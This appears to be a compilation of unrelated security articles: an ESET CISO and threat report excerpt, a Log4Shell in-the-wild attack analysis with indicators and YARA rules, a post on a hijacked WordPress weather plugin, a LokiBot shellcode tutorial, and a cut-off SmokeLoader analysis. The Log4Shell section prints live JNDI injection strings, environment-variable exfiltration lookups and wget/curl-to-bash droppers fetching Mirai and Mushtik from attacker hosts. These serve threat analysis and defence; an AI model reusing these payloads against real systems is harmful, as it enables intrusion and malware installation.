phenomenon deeply rooted at ESET. Of course, even before I took on the CISO role, we had many very skillful employees and needed to balance security and visibility against the “Big Brother” worries held by our colleagues. ESET’s owners were privacy-aware and remain so. We also understood early on the possible impact on staff morale. So, we agreed to configure ESET culture early on as that of a positive security company, persuading everyone, including management, that using fear, uncertainty, and doubt tactics simply do not work and could result in losing the respect of colleagues across the organization. I raise this because all of us, you and I included, face a similar choice: balancing security and visibility with another component—trust. This need became painfully clear in 2020, the year that gave us COVID-19 and that transported ESET, and likely all of us, to a security future few of us entirely expected. To succeed in security in the COVIDian era, a few basics have to be done right. These go beyond trust and include the practical aspects of security that need minding by CISOs in 2021. Please find mine below: 1. **Keep Basic Principles Running in Work-from-Home Mode** “Getting back to basics” is always good advice in information security. It also applies to 2021, when we hopefully enter a post-COVID world. Patching, backups, and endpoint protection are areas that are important regardless of where employees work, whether in the office or from home. Expansion and management of staff VPN accounts to provide more secure access to an organization’s platforms, along with many other precautions, are here to stay. Considering a Zero Trust security approach or a “trust but verify” narrative might be helpful when addressing remote work specifics. Keep an eye on these and look to optimize. 2. **Grow the Organization in Regulated Areas** While I can only speak for ESET, we see accelerated growth in security-related regulations all over the world. This will likely increase exponentially with the already rapid digitization being accelerated by COVID. For example, the NIS Directive (and the NIS2 Directive) impacts both ESET as a cybersecurity provider and many of ESET’s clients, especially those in regulated industries or those that provide direct services to government. So, it makes sense that we engage together to create shared approaches. 3. **Balance Resources to Support Various Business Initiatives While Preserving Team Sanity** I believe we struggle with this point as an industry. Likely, the main problem faced by any mature security program is its relationship with so many activities within the organization; simply, it is difficult to give priority to the truly important activities. Reporting and measurement add another level of complexity—we should track risks, audit findings, and incidents; gather feedback and lessons learned; identify compliance gaps; etc., even though sometimes it feels like we are being asked to compare what is incomparable. This same challenge is certainly relevant for government organizations too as they strive to strike a balance between the security of internal mechanisms and external services with reporting—all of which needs to be both compliant and functioning practically. 4. **Increase the Maturity of Your Software Development Life Cycle** In the enterprise world, it is quite common to have both internal and outsourced development teams that build, customize, and maintain critical systems, products, or services. A problem that can thus arise in the face of multiple security standards being used in the software development life cycle is the expectation of applying a waterfall model. However, with a strong push on rapid agile development and deployment ongoing in the industry, it is simply not viable to apply a waterfall approach to DevOps activities any longer. ESET’s approach is to define DevOps security activities, related to both development and operations, and to engage in patient discussion with development teams as to how to include these activities in their methodologies and work procedures. The goal: to identify what should be delivered by internal security experts, versus security champions within the diversity of development teams, and how to automate as much as possible. 5. **Prepare and Respond to the Growing Complexity of Attacks** Looking at Verizon’s data breach reports over the years clearly suggests that attacks are getting worse. We don’t know what kind of vulnerabilities may be exploited next, what kind of tools attackers will use, or what their goals are. But what we can do is to prepare for them: both technically, via layered controls, and organizationally, with incident response team capability, skills, and overall maturity. The situation brought on by COVID-19 has been a good reminder of how quickly things can change. The accelerations COVID brought to ESET are likely similar to those experienced by other organizations. My chief takeaways from this experience would be: - To put more focus on asset categorization and endpoint visibility as employees are working from home, outside of an organization’s on-premises network. - If leveraging cloud-based services, to prioritize proper configuration, access management, and resource allocation, among other cloud security measures. From our own experience, we’ve noticed a clear growth in attacks, especially Business Email Compromise (BEC), that demanded more of our attention than usual. We are lucky, as our endpoint portfolio includes a solid anti-malware engine, a cloud-managed sandboxing solution—Dynamic Threat Defense—against emerging threats, and an endpoint detection and response solution—ESET Enterprise Inspector—that provides a ton of visibility into endpoints and boosts our incident response capabilities. Furthermore, we also have an easy-to-use Data Loss Prevention solution via our technology alliance with Safetica. ## EmissarySoldier: Malicious Activities of LuckyMouse APT Group in 2020 LuckyMouse has compromised government networks and private companies (telco, media, and banks) in Central Asia and the Middle East. LuckyMouse, also known as APT 27 and Emissary Panda, is a cyberespionage group that is best known for its regular use of watering hole, or strategic web compromise, attacks. The group has breached not only multiple government networks in Central Asia and the Middle East, but also transnational organizations such as the International Civil Aviation Organization (ICAO). In its latest analysis of LuckyMouse, ESET Research discovered a set of malicious activities that took place in 2020 and in which the operators mainly used the SysUpdate (aka Soldier) toolkit. ESET has named this set of activities Emissary Soldier. In order to compromise victims, LuckyMouse typically uses watering holes, compromising websites likely to be visited by its intended targets. LuckyMouse operators also perform network scans to find vulnerable internet-facing servers run by their intended victims. While the group generally uses already known exploits to compromise unpatched servers, ESET saw LuckyMouse among the threat groups likely leveraging the Microsoft Exchange vulnerabilities while they were still zero days to conduct attacks on email servers. Once LuckyMouse operators gain a foothold on a machine, they will deploy one of their custom post-compromise implants, SysUpdate or HyperBro. An interesting similarity among their toolkits is that they all employ DLL search order hijacking to thwart detection. The Middle East is currently a hotbed for many espionage groups, and LuckyMouse has been very active there as well. It is very common to find multiple threat actors on the same machine or at least in the same network. In this region, LuckyMouse predominantly focuses on governmental entities. The operators are probably trying to obtain insights about the current geopolitical situation. On the contrary, most of their targets in Central Asia are private companies (telco, media, and banks). This shows a strategic interest in the economic situation of the region. LuckyMouse maintains a quite large network infrastructure with VPN nodes, staging nodes, and command and control (C&C) nodes. During the Emissary Soldier campaign, ESET observed 16 different staging and C&C nodes. ESET researchers also noticed that some of the compromised machines were running Microsoft SharePoint, which was reachable from the internet. In 2019 and 2020, several remote code execution vulnerabilities were found in this application. LuckyMouse has a specific way of installing its implants—using a so-called trident model—in its SysUpdate toolkit. The trident model features a legitimate application vulnerable to DLL hijacking, a custom DLL that loads the payload, and a raw Shikata Ga Nai-encoded binary payload. ### Overview of the Trident Model Typical of many financially motivated—but also espionage—threat actors, LuckyMouse employs offensive security tools. Thus, while the group mainly uses custom backdoors, ESET researchers have seen several other tools in some intrusions, including: - JuicyPotato, a privilege escalation tool; - Mimikatz, a tool to extract various Windows secrets, including passwords; and - nbt scan, a NetBIOS scanner. The SysUpdate toolkit itself, which was the focus of this latest deep dive into LuckyMouse activity, is relatively new, with the first samples having been discovered in 2018. Since then, the toolkit has been through various development stages. In contrast with previous samples, those used in 2020 showed major improvements and added functionalities, including the implementation of multiple C&C communication protocols and small refactoring of already implemented features. SysUpdate components are divided into a set of binaries, each with a specific operational purpose. In particular, the trident model components of SysUpdate consist of a benign application like GUP.exe, which acts as the initial loader for the next component, a DLL, which in turn acts as a loader for the next component, the Stage 1 payload itself. These three components are dropped to an arbitrary location on initial access to a compromised system, a pattern that seemed to be recurrent in the activity monitored across different victims located in different regions. As the SysUpdate toolkit is highly modular, it gives its operators the flexibility to provide malicious capabilities on demand, as well as pull back and limit the exposure of malicious artifacts at will. For this very reason, ESET researchers did not retrieve any malicious modules, and they expect this to be a recurrent challenge in analyzing future operations that employ SysUpdate. The best way of tracking down such a slippery customer is by deploying an endpoint detection and response (EDR) solution that can identify suspicious events happening in a network. Monitoring LuckyMouse and the tools used in its recent campaigns remains a priority. A reminder of why occurred just as ESET researchers were wrapping up this investigation, with the threat group leveraging vulnerabilities in Microsoft Exchange to attack email servers and install the SysUpdate toolkit. This point of intersection provides a strong case for governments and businesses alike to tighten up security on internet-facing servers, further collaborate on security strategy, and build capacity and maturity in the use of EDR tools. ## Regulatory Radar: Critical Cues for Cybersecurity Posture in the EU and US Society’s reliance on technology, and the emergence of those who seek to misuse it, have led to increasing attempts by governments around the globe to regulate cyberspace. In doing so, governments are broadly attempting to deter bad actors, both state-sponsored and criminal, through powers to pursue and levy penalties; protect critical national infrastructure, personal information, security and defense assets; and build societal resilience by ensuring government bodies, businesses, and other organizations recognize their responsibilities and are held accountable. In parallel, governments aim to educate citizens as to the scope of cybersecurity risks and needed mitigations. At a supranational level, the United Nations is trying to secure an agreement on the application of international law to state activity and build on 11 norms of responsible behavior in cyberspace agreed in 2015. The European Union’s 2018 GDPR regulation quickly became a reference point for countries seeking to strengthen privacy and security regulation. Both the EU and US (under the new Biden administration) are expected to set the tone for the increased regulation of cyberspace in the years ahead. In the absence of a global standard or agreement, the regulatory picture is rather fragmented. Presently, regulation is predominately driven at the national, state, and industry sector levels. This fact, combined with the pace of innovation and legislative complexities, has left most governments with palpable security challenges and many struggling to keep up. Given the broad scope of cyberspace and differences in national approaches, for brevity, CISOs and policymakers should keep an eye on the following areas to identify critical cues for future compliance and security posture. ### European Union: NIS2 Directive In December 2020, the EU published the draft text of the NIS2 Directive, which significantly expands the number of entities and sectors required to take strengthened measures to enhance cybersecurity. The text is currently progressing through the legislative scrutiny process. Once a final text is agreed, member states will have 18 months to implement the directive. The impacts will be felt in the EU and beyond. The proposed NIS2 Directive will: - Introduce more stringent supervisory measures; - Impose stricter enforcement requirements, including harmonized sanctions regimes across member states; - Establish information sharing and cooperation on cyber-crisis management at national and EU levels; - Mandate the creation of national strategies that ensure the resilience of critical entities; - Obligate the carrying out of national risk assessments; and - Aim to strengthen the security of supply chains. When adopted, the NIS2 Directive will apply alongside sector-specific legislation, such as the proposed “Directive on the Resilience of Critical Entities.” This sector-specific directive aims to protect critical infrastructure and will complement the NIS2 Directive to the extent in which it will likely impose cybersecurity risk management and notification obligations of at least an equivalent effect to the obligations set out in the NIS2 Directive. ### US Privacy Regulations and Evolving Cybersecurity Laws Following the EU’s enactment of GDPR in 2018, implementation of data privacy regulations also began to gain pace at the state government level in the United States. Legislators in California passed the California Consumer Privacy Act in 2018 (CCPA) and implemented it in 2020. At the end of 2020, California’s Proposition 24 was passed, meaning the California Privacy Rights Act (CPRA) will become effective in 2023. The CPRA makes significant additions to the CCPA—which itself could be seen as falling short of GDPR in some areas, although in others it went further. With broad agreement on the need for federal consumer privacy legislation realized in the Consumer Online Privacy Rights Act (COPRA) in April 2020 and the Biden administration’s apparent recognition of the need for federal privacy legislation, we will likely see a host of initiatives. Indeed, Vice President Kamala Harris has a strong record in privacy enforcement, as witnessed by the amended and strengthened California Online Privacy Protection Act (CalOPPA) during Harris’s time as California’s state attorney general. As the pandemic continues, there will likely be considerable focus on healthcare providers and agencies that have been party to contact tracing, testing, and vaccination. Currently, some of the processes for collection of personal data may not be as scrutinized due to urgency and medical need. It should be expected, however, that this latitude will likely be removed and the cybersecurity requirements for such data will be strengthened and enforced. ### Cybersecurity Laws in the US While there are all-encompassing cybersecurity laws in the US, typically legislation is dependent on the sector of a business or organization, although some legislation aimed at specific technologies crosses the boundaries of multiple industry sectors. Some of the leading sector-specific US legislation related to cybersecurity includes: - Health Insurance Portability and Accountability Act (HIPAA); - Gramm-Leach-Bliley Act; - Dodd-Frank Act; and - IoT Cybersecurity Improvement Act. Finally, the IoT Cybersecurity Improvement Act of 2020, which applies across sectors, requires the National Institute of Standards and Technology (NIST) to publish standards and guidelines for federal agencies on the appropriate use of IoT devices in government systems. This piece of IoT legislation consists of a stepped timeline that requires agencies to: - Agree on how to address and disclose vulnerabilities of devices in use; - Set minimum information security requirements for managing cybersecurity risks; and - Review and revise guidelines and standards every five years. The final component takes effect in December 2022 and will prohibit the use of IoT devices that do not comply with the NIST standards and guidelines. ## Endpoint Detection and Response: A Counterbalance to Persistent Threats Large organizations and government institutions, such as ministries of foreign affairs, embassies, and other diplomatic representatives, are prime targets for espionage operations. Threat actors target these institutions in various ways to steal sensitive information. Stealth is an essential part of these malicious campaigns because remaining unseen and undetected in a target network for as long as possible is key for success. Endpoint detection and response (EDR) technology can help large organizations detect stealthy threat actors by flagging suspicious behaviors, especially when they employ fully undetected malware or legitimate tools. EDRs can generate alerts upon execution of unpopular applications or legitimate tools known to be abused by attackers—for example, so-called living-off-the-land binaries (LOLBins)—thus allowing defenders to see and investigate suspicious activities happening in their networks. Invisimole, a threat actor ESET researchers have been tracking for a few years, bears out its name, as it targets high-profile organizations for espionage purposes and deploys various strategies in order to be as difficult as possible to detect. Once Invisimole’s operators have a foothold in an organization, they typically set up different persistence chains to ensure continued access. However, although different chains exist, they have one point in common: no malicious code is present on disk. Furthermore, Invisimole’s operators abuse legitimate tools to load and decrypt, in memory, malicious tools that enable their espionage activities. The usage of these legitimate tools makes it hard for standard detection technologies to detect anomalies. In these cases, in which stealth is the ultimate goal, defenders relying on a properly configured EDR solution can detect such malicious activities and correctly mitigate attacks. ## Endpoint Detection and Response at ESET ### What is Endpoint Detection and Response? Endpoint detection and response (EDR) solutions collect and analyze large amounts of data generated from activity on endpoints. Suspicious behaviors produce an alarm that alerts security professionals to further investigate and potentially discover any attacks that would otherwise go unnoticed. ESET developed ESET Enterprise Inspector (EEI) as an EDR solution capable of protecting both Windows and macOS endpoints. ### MITRE ATT&CK® ESET Enterprise Inspector references its detections to the MITRE ATT&CK knowledge base of adversarial tactics, techniques, and procedures, which provides comprehensive information about the most complex threats and adversary groups afflicting cyberspace. With over 20 contributions to the knowledge base and having participated in the third MITRE Engenuity ATT&CK Evaluations, our EDR solution is battle-tested and mature. ### Threat Hunting Packaged with a set of rigorously tested rules to detect suspicious behaviors and with advanced filtering capabilities to sort data based on file popularity, reputation, signature, behavior, and other contextual information, EEI offers automated and easy threat hunting capable of discovering targeted attacks. ### Public API ESET Enterprise Inspector features an API that allows security engineers to export detections, thus allowing effective integration with tools such as SIEM, SOAR, ticketing, and other tools. ## About ESET For more than 30 years, ESET® has been developing industry-leading IT security software and services to protect businesses, critical infrastructure, and consumers worldwide from increasingly sophisticated digital threats. From endpoint and mobile security to endpoint detection and response, as well as encryption and multifactor authentication, ESET’s high-performing, easy-to-use solutions unobtrusively protect and monitor 24/7, updating defenses in real time to keep users safe and businesses running without interruption. Evolving threats require an evolving IT security company that enables the safe use of technology. This is backed by ESET’s R&D centers worldwide, working in support of our shared future.
# Analysis of Initial In The Wild Attacks Exploiting Log4Shell/Log4J/CVE-2021-44228 **Introduction** Log4J is an open-source logging platform running on Java and built into many web platforms. Public reports of exploitation started on December 9th, followed by wider exploitation on December 10th onwards. The exploit allows remote code execution and relies upon Log4J loading data from LDAP via a JNDI (Java Naming and Directory Interface) interface. Below we have outlined the attacks we have seen in the wild so far, as well as a forensic investigation of a server compromised in one of the attacks. **Environment Variable Scanning** We have started to see both attacks and security researchers exploit the ability to incorporate Environment Variables into outgoing JNDI requests. Unlike the Remote Code Execution vulnerabilities which require importing data over LDAP, the environment variable-based attacks can run on the latest versions of Java. The RCE itself requires an older version of Java from 2018 or before. We can see in data from BinaryEdge the known bad IP address 47.75.82[.]85 sending the environment and potentially return: ``` GET / HTTP/1.1 Host: 47.75.82.85:443 User-Agent: ${${env:ENV_NAME:-j}n${env:ENV_NAME:-d}i${env:ENV_NAME:-:}${env:ENV_NAME:-l}d${env:ENV_NAME:-a}p${env:ENV_NAME:-:}//45.146.164.160:8081/w} Content-Type: application/json Accept-Encoding: gzip Connection: close ``` The IP addresses 96.234.173[.]145 and 154.21.28[.]76 are sending the Java_Version as a DNS request to interactsh[.]com: ``` GET / HTTP/1.1 Host: 47.106.202.101:7401 User-Agent: ${jndi:ldap://${env:JAVA_VERSION}.c6v09ky2vtc000092300gdpor3hyyyyyb.interactsh.com} Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive Authorization: ${jndi:ldap://${env:JAVA_VERSION}.c6v09ky2vtc000092300gdpor3hyyyyyb.interactsh.com} Referer: ${jndi:ldap://${env:JAVA_VERSION}.c6v09ky2vtc000092300gdpor3hyyyyyb.interactsh.com} ``` Sophos have reported that they have also seen attackers stealing environment variables such as AWS_SECRET_ACCESS_KEY, which would enable an attacker to have the same access to your AWS environment (e.g., list and download files from S3 Storage) as the system they compromised. **Mirai Botnet Activity** A number of botnets have been observed exploiting the vulnerability. Starting December 11th we saw traffic such as this from 45.137.21[.]9: ``` POST / HTTP/1.1 User-Agent: ${jndi:ldap://45.137.21.9:1389/Basic/Command/Base64/d2dldCBodHRwOi8vNjIuMjEwLjEzMC4yNT Host: 89.188.76.250 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 ``` The Base64 decodes to: ``` wget http://62.210.130.250/lh.sh;chmod +x lh.sh;./lh.sh ``` The first stage payload is a shell script from http://62.210.130[.]250/lh.sh which then installs the Mirai binary appropriate for the targeted system, e.g., http://62.210.130[.]250/web/admin/x86. As usual with Mirai, it is served from an open directory. The Mirai samples then connect to the command and control server nazi[.]uy. **Mushtik Activity** Starting December 11th, we started to see activity from a number of IP ranges sending traffic such as this: ``` GET /$%7Bjndi:ldap://45.130.229.168:1389/Exploit%7D HTTP/1.1 Host: 89.188.76.250 User-Agent: Mozilla/5.0 zgrab/0.x Accept: */* Accept-Encoding: gzip ``` This serves Java Bytecode (4d040caffa28e6a0fdc0d274547cf1c7983996fc33e51b0b2c511544f030d71b). Running strings over the file Exploit: ``` SourceFileExploit.java java/lang/String /bin/bash curl http://18.228.7.109/.log/log | sh java/lang/Exception java/lang/Object ``` It is clear it executes the shell script at http://18.228.7[.]109/.log/log: ``` wget -O /tmp/pty3 http://18.228.7.109/.log/pty3; chmod +x /tmp/pty3; chmod 700 /tmp/pty3; /tmp/pty3 & wget -O /tmp/pty4 http://18.228.7.109/.log/pty4; chmod +x /tmp/pty4; chmod 700 /tmp/pty4; /tmp/pty4 & wget -O /tmp/pty2 http://18.228.7.109/.log/pty2; chmod +x /tmp/pty2; chmod 700 /tmp/pty2; /tmp/pty2 & wget -O /tmp/pty1 http://18.228.7.109/.log/pty1; chmod +x /tmp/pty1; chmod 700 /tmp/pty1; /tmp/pty1 & wget -O /tmp/pty3 http://18.228.7.109/.log/pty3; chmod +x /tmp/pty3; chmod 700 /tmp/pty3; /tmp/pty3 & wget -O /tmp/pty5 http://18.228.7.109/.log/pty5; chmod +x /tmp/pty5; chmod 700 /tmp/pty5; /tmp/pty5 & (curl http://159.89.182.117/wp-content/themes/twentyseventeen/ldm || wget -qO - http://159.89.182.117/wp-content/themes/twentyseventeen/ldm)|bash ``` These scripts then install Mushtik, a variant of the classic Tsunami Linux backdoor. **Responding to a Kinsing Compromise** We set up a number of honeypots of outdated installations containing Log4J. After a few hours, we noticed that an old Apache Solr install was showing extremely high CPU utilization. We acquired a full forensic copy of the system with Cado Response and commenced an investigation. It was immediately clear that a number of malicious files were present on the system – red dots here indicate folders where a file was detected as malware. Most miners drop a payload under /tmp and this is no exception – the cryptocurrency miner xmrig is deployed at /tmp/kdevtmpfsi. The Kinsing malware itself was installed at /etc/kinsing. Pivoting on the time around when /etc/kinsing was created, we saw some references to scheduled tasks in the crontab. The URL that is added to the crontab here has been down for some time. We didn’t directly capture the initial exploitation; however, we have seen delivery from Tor exit nodes with the following payload: ``` GET / HTTP/1.1" 200 1121 "-" "${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/(curl -s 45.155.205.233:5874/$YOUR_IP:443||wget -q -O- 45.155.205.233:5874/$YOUR_IP:443)|bash} ``` This Java object payload would then pull in and execute the installation script at http://45.137.155[.]55/ex.sh. **Targeted Activity** A typical chain of events for exploits is: - Early exploitation from fast-moving botnets such as Mushtik and Mirai, followed by - Targeted use by mid-sophistication threat actors, followed by - Targeted ransomware. We have not directly observed any targeted activity ourselves; however, a CrowdStrike employee reports that they have. Microsoft has said that they have “… observed activities including installing coin miners, Cobalt Strike to enable credential theft and lateral movement, and exfiltrating data from compromised systems.” **Recommendations and Mitigations** A number of mitigations can be employed to reduce the impact of Log4Shell: - Upgrade Log4J to the latest version (>=2.15.0). - Upgrade Java installations to 2019 or later editions. - Where that isn’t possible, you can manually set the setting `com.sun.jndi.rmi.object.trustURLCodebase` to false. - Set either the system property `log4j2.formatMsgNoLookups` or the environment variable `LOG4J_FORMAT_MSG_NO_LOOKUPS` to true. - If possible, block outgoing LDAP traffic. Review all vulnerable internet-facing systems for signs of compromise. If any systems show signs of compromise, we recommend that you investigate each system to determine what malicious activity has occurred. This could include what data or accounts may have been exposed, if propagation to other systems had occurred, or if other unknown backdoors exist, and then determine if you need to take any further incident response actions. You may wish to forensically capture then reinstall and apply updates where feasible. For systems that have been impacted in AWS, we also recommend that you monitor connections to the AWS console for newly deployed EC2 instances, access to existing EC2 instances, or S3 buckets using potentially compromised AWS credentials. **Indicators of Compromise** - **Environment Variable Scanning** - 45.146.164[.]160 - interactsh[.]com - **Mirai** - 45.137.21[.]9 - http://62.210.130[.]250/lh.sh - http://62.210.130[.]250/web/admin/x86 - nazi[.]uy - **Mushtik** - 45.130.229[.]168 - 18.228.7[.]109 - 159.89.182[.]117 - 4d040caffa28e6a0fdc0d274547cf1c7983996fc33e51b0b2c511544f030d71b - **Kinsing** - 45.155.205[.]233 - http://93.189.42[.]8/kinsing - http://93.189.42[.]8/lh.sh **Yara Rules** ```yara rule Linux_Kinsing_Malware { meta: description = "Detects Kinsing Malware" author = "[email protected]" date = "2021-12-11" license = "Apache License 2.0" hash1 = "6e25ad03103a1a972b78c642bac09060fa79c460011dc5748cbb433cc459938b" strings: $a1 = "main.goKrongo" ascii $a2 = "main.taskWithScanWorker" ascii $a3 = "main.runTaskWithHttp" ascii $a5 = "main.getMinerPid" ascii $a6 = "main.sendResult" ascii $a7 = "main.minerRunningCheck" ascii condition: uint16(0) == 0x457f and 4 of them } rule Cryptomining_Malware_Xmrig { meta: description = "Detects Xmrig Cryptominer" author = "[email protected]" date = "2021-12-11" license = "Apache License 2.0" strings: $ = "password for mining server" nocase wide ascii $ = "threads count to initialize RandomX dataset" nocase wide ascii $ = "display this help and exit" nocase wide ascii $ = "maximum CPU threads count (in percentage) hint for autoconfig" nocase wide ascii $ = "enable CUDA mining backend" nocase wide ascii $ = "cryptonight" nocase wide ascii condition: 5 of them } rule Mining_Worm_August_2020 { meta: description = "Detects Mining Worm" author = "[email protected]" date = "2020-08-16" license = "Apache License 2.0" hash1 = "3a377e5baf2c7095db1d7577339e4eb847ded2bfec1c176251e8b8b0b76d393f" hash2 = "929c3017e6391b92b2fbce654cf7f8b0d3d222f96b5b20385059b584975a298b" hash3 = "705a22f0266c382c846ee37b8cd544db1ff19980b8a627a4a4f01c1161a71cb0" strings: $a = "echo $LOCKFILE | base64 -d > $tmpxmrigfile" wide ascii $b = "/root/.tmp/xmrig –config=/root/.tmp/" wide ascii $c = "if [ -s /usr/bin/curl ]; then" wide ascii $d = "echo ‘found: /root/.aws/credentials'" wide ascii $e = "function KILLMININGSERVICES(){" wide ascii $g = "touch /root/.ssh/authorized_keys 2>/dev/null 1>/dev/null" wide ascii $h = "rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service" wide ascii $i = "[email protected]/root/.ssh/id_ed25519.pub" wide ascii condition: filesize < 500KB and any of them } ``` **References** Cado Security provides the cloud investigation platform that empowers security teams to respond to threats at cloud speed. By automating data capture and processing across cloud and container environments, Cado Response effortlessly delivers forensic-level detail and unprecedented context to simplify cloud investigation and response. Backed by Blossom Capital and Ten Eleven Ventures, Cado Security has offices in the United States and United Kingdom. For more information, please visit [Cado Security](https://www.cadosecurity.com/) or follow us on Twitter @cadosecurity.
# The Dangers of Using Abandoned Plugins & Themes Krasimir Konov December 17, 2020 It’s not very often that we see abandoned components being used on a website — but when we do, it’s most often because the website was exhibiting malware-like behavior and we were called to investigate and clean up the site. Old and abandoned plugins and themes are a good target for opportunistic attackers who are looking for any expired domains that might be used by those components. Once an attacker gets a hold of those domains, they’re able to distribute malware to any users that still have that resource installed on their site. Here’s an example of that exact scenario. ## Expired Domain for My Weather Plugin The plugin was called “My Weather” and one of its main functions was to show weather widgets on a website. The data for weather information was retrieved by the plugin from an external domain (weatherforecastmap[.]com), which happened to expire. ```php $widget_call_string = 'hxxp://weatherforecastmap[.]com/' . $typeflag; $widget_call_string .= '.php?zona='.$country_name; $widget_call_string .= '_'.$city; $widget_call_string = str_replace(" ", "-", $widget_call_string); $widget_call_string = strtolower($widget_call_string); if($fahrenheitflag != 0) $widget_call_string = str_replace(".php", "F.php", $widget_call_string); ``` The URL generated by the plugin for the weather data was based on the city and country — for example: `hxxps://weatherforecastmap[.]com/weather3F.php?zona=mexico_playa-del-carmen`. ```php echo '<script type="text/javascript" src="'.$widget_call_string . '"></script>'; ``` Attackers were able to register the domain and, instead of serving the weather information, they replaced the data source with a malicious JavaScript injection which was loaded on a user’s browser whenever they visited a site using the abandoned My Weather plugin. ## Unwanted Browser Add-ons & Advertisements This injection resulted in a redirect to another domain: “hxxp://fnacgbik9v14[.]com/hdzi0thtzm”. Upon further investigation, we found that the newly registered domain was distributing malware which tricks the user into installing a malicious component/extension on their browser. Post-install, additional ads were then served from another malicious domain — terraclicks[.]com. This example clearly demonstrates how outdated and abandoned components can put your site at risk. We recommend keeping all software updated to prevent these types of issues from impacting your site’s reputation — and if you happen to have a plugin, theme, or component on your site that you aren’t using, get rid of it. Another way to mitigate risk is to add a WAF (Web Application Firewall) to your website. WAFs can prevent many attacks, especially if you have old or outdated plugins which may contain known vulnerabilities — the firewall will be able to virtually patch your software until you get the chance to update or transition to a new one.
# LokiBot: Getting Equation Editor Shellcode While today’s analysis will be similar to one we’ve done before, it will be almost exactly the same as this one from SANS. Although it’s been done by others, it never hurts to practice using these tools and get that muscle memory down. We’ll be working off of this document right here: https://app.any.run/tasks/db864efd-35b3-4e91-9e84-c6149dbfd4d7. ## OLEDUMP Using oledump, we see a big chunk of data called ‘EncryptedPackage’. In this case, it means that one or more sheets in the workbook have been locked to protect changes to the data. But there are tools to get around this. By simply pointing msoffcrypto-crack.py at the document, we will see a familiar password pop up. At this point, we could do one of two things. We could use msoffcrypto-crack.py to crack the password and output a new unprotected file of the same name or we could just pipe the output directly into oledump.py. Doing so, we see that there are no macros or anything like that. Instead, we see ‘eQUaTiON naTIvE’. Let’s dump that part of the object to another file where we can work on that. We can use XORSearch.exe to search that binary file for various signatures of 32-bit shellcode. We see that GetEIP was found in two locations. ## scDbg.exe We then move to a shellcode emulator called scDbg.exe. We can load the dumped binary in there and feed it the offset position to see if any sort of decoded shellcode appears. And it does! Note that it dumped it to a file called oledump.unpack. However, notice how the unpacked information isn’t very informative. But that last line says, “Change found at 402438…”. We can use another tool called cut-bytes.py to look at the oledump.unpack from that point. Notice strings such as LoadLibraryW… ExpandEnvironmentStringsW… APPDATA\vbc.exe… htp://frndgreen and so on. But can we get this output in a little more… readable form? Yes, we can do with scDbg.exe again. First, let’s cut out only the bytes necessary. Using oledump-cut.unpack, we do run into a problem when we toss it into scDbg.exe. We don’t see anything beyond ExpandEnvironmentStringsW. The SANS blog post referenced at the beginning shows how to deal with this. It turns out that scDbg.exe does not hook ExpandEnvironmentStringsW. But it does hook ExpandEnvironmentStringsA. We can then try patching the .unpack file by overwriting the StringsW with StringsA. Save your change and then toss it back into scDbg.exe like we tried above. Another option is to overwrite that character directly from the command line. Looking at the hex editor above, we can see that we are at offset 0x77. We can add that to the starting point in scDbg.exe like so: We can now see everything in a much clearer format and it looks like it’s downloading Lokibot. Thanks for reading!
# Dissecting SmokeLoader (or Yulia's sweet ass proposition) In mid-August I started receiving some emails from Yulia. She wanted me to take a look at her sweet ass: I was not sure about it, but after receiving some more emails like this I took a look (I received the last one on the 10th of September). Then I found out that this was the beginning of a SmokeLoader campaign, I was really disappointed. Out of spite, I started analyzing it. These are some of the headers and the message body: **Date:** Wed, 13 Aug 2014 12:55:56 -0400 **From:** "Yulia" <[email protected]> **Subject:** My new photo Hi it is Yulia fuck me ass at night. Look at my sweet ass on a photo I wait for you. I don't want to duplicate the information already published about this loader, so you can check the post published in July by StopMalvertising and what my colleague Michael Sandee said about it in 2012. Since then, SmokeLoader (known as Dofoil too) has modified the encryption to communicate with the C&C, added some extra plugins, etc. After executing the binary you can easily spot that something is happening in your computer because you can see some strange POST requests to some known URLs. These URLs are extracted from the registry, opening the key Software\Microsoft\Windows\CurrentVersion\Uninstall and looking at the values of HelpLink and URLInfoAbout for the installed programs. Really, first you see a GET request to http://www.msn.com/, then a “random” number of POST requests with encoded data sent to familiar sites for you, the malware communication and, finally, a “random” number of POST requests again. I guess this is just to hide the real communication but sending strange POST requests is not really a good way to hide it... It is possible that you don't see any request. If this is the case then you have been detected by our friend. The binary includes an anti-analysis function and you will end up in an endless loop if you are not able to pass all the checks. SmokeLoader performs the following checks (some of them are mentioned here): - Checks if the module filename contains “sample”. - Checks if the C: volume serial number is 0xCD1A40 (ThreatExpert) or 0x70144646 (Malwr). - Checks if the modules “sbiedll” (Sandboxie) and “dbghelp” are loaded. - Checks the disk enum key (System\CurrentControlSet\Services\Disk\Enum) looking for: - qemu - virtual - vmware - xen - Checks if AutoItv3, CCleaner and WIC are installed looking in the registry (Software\Microsoft\Windows\CurrentVersion\Uninstall). It seems that this is a fingerprint for Joe Sandbox. In order to know if it is being running in a 64-bits operating system it checks the segment register GS: ``` mov ax, gs test ax, ax jz short loc_2934D0 inc ds:is64Bits ``` Depending on that it will use a different way to inject in explorer.exe and then to create an additional svchost.exe process. This is well explained in the third step of this AVG blog post talking about ZeuS (one of these techniques uses the functions FindWindow, GetWindowLongA and SetWindowLongA). It seems that this part of the code was copy/pasted too... After these steps, the malware is initialized, setting up the User-Agent (by default, Mozilla/4.0), sending the GET request to MSN, creating the botid, the mutex, etc. Then is when the fun starts, sending these fake POST requests and finally communicating with the C&C. The server URLs are hardcoded in the binary, using some basic XOR operations to encode the data. There are at least two blocks with the following format: ``` [XOR_BYTE_KEY][BYTE2][BYTE3][BYTE3][SIZE][DATA] ``` One block could be the main URL and the other the backup URL, but in the samples that I have analyzed both blocks contain the same URLs. Every 10 minutes a POST request is sent to the SmokeLoader C&C, looking for new tasks. The request data has this format: ``` cmd=getload&login=$BOTID&sel=jopa1&ver=5.1&bits=0&admin=1&hash=&r=$GARBAGE ``` - **cmd:** Command sent to the panel. - **login:** botid with format %08X%08X%08X%08X%08X. - **sel:** seller id. It is hardcoded in the binary and identifies the user related to the campaign. - **ver:** OS version. - **bits:** If the OS is 64-bits or not. - **admin:** If the malware is running with Admin privileges or not. - **hash:** Disk binary hash (in the case it is a persistent version). - **r:** Just garbage data. This is the only parameter included in the fake requests mentioned above. This data is encrypted with a modified version of RC4, resulting in 